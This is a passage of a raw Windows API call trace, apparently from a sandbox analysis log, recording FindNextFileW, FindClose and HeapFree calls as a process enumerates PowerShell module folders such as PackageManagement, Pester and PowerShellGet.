lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc715839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 1 [0275.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0275.475] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc716b2b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0275.475] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0275.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0275.475] FindNextFileW (in: hFindFile=0x6eb6b0, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71620c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0275.475] FindClose (in: hFindFile=0x6eb6b0 | out: hFindFile=0x6eb6b0) returned 1 [0275.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0275.475] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc715839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 0 [0275.475] FindClose (in: hFindFile=0x6eb830 | out: hFindFile=0x6eb830) returned 1 [0275.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.477] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7134cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 0 [0275.477] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0275.477] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0275.478] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f0d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0 [0275.478] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0275.478] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0275.478] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70e433, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test", cAlternateFileName="")) returned 0 [0275.478] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0275.478] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0275.479] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70c3d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0 [0275.479] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0275.479] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0275.480] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc717ae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0275.676] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0275.676] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a780592, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.ArchiverProviders.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0275.677] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0275.678] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc718a55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0 [0275.678] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0275.678] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0275.679] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4698376a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4698376a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester", cAlternateFileName="")) returned 1 [0275.708] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.708] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c1e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1 [0275.712] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.712] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800652, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1 [0275.712] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0275.712] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc801800, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1 [0275.712] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0275.712] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc801800, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0 [0275.712] FindClose (in: hFindFile=0x6eb8b0 | out: hFindFile=0x6eb8b0) returned 1 [0275.713] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.713] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc853a4e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34f56f8, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1 [0275.770] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0275.770] FindNextFileW (in: hFindFile=0x6ebc70, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2eca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.ps1", cAlternateFileName="")) returned 1 [0275.771] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.771] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0275.808] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.808] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8aa684, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3567e0f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0 [0275.808] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0275.808] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0275.810] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ab4af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 1 [0275.813] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.813] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Build.bat", cAlternateFileName="")) returned 1 [0275.814] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.814] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8acf9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1 [0275.816] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0275.816] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8adae3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1 [0275.816] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0275.816] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8adae3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0 [0275.816] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0275.816] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.816] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8fc051, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7f2cc1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1 [0275.859] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0275.859] FindNextFileW (in: hFindFile=0x6ebab0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreakAndContinue.Tests.ps1", cAlternateFileName="")) returned 1 [0275.860] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.860] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0275.871] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.871] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fd9a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a83f191, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Snippets", cAlternateFileName="")) returned 0 [0275.871] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0275.871] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0275.871] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ab4af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 0 [0275.871] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0275.872] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0275.874] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fecb3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0275.892] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.892] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a83f191, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet.psd1", cAlternateFileName="POWERS~1.PSD")) returned 1 [0275.892] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0275.892] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbca000ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0 [0275.892] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0275.892] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0275.892] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fecb3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 0 [0275.892] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0275.893] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0275.894] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e250, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0 [0275.894] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0275.894] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0275.894] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c04f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 0 [0275.894] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0275.894] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0275.895] FindNextFileW (in: hFindFile=0x64a258, lpFindFileData=0x3b2fcf8 | out: lpFindFileData=0x3b2fcf8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, 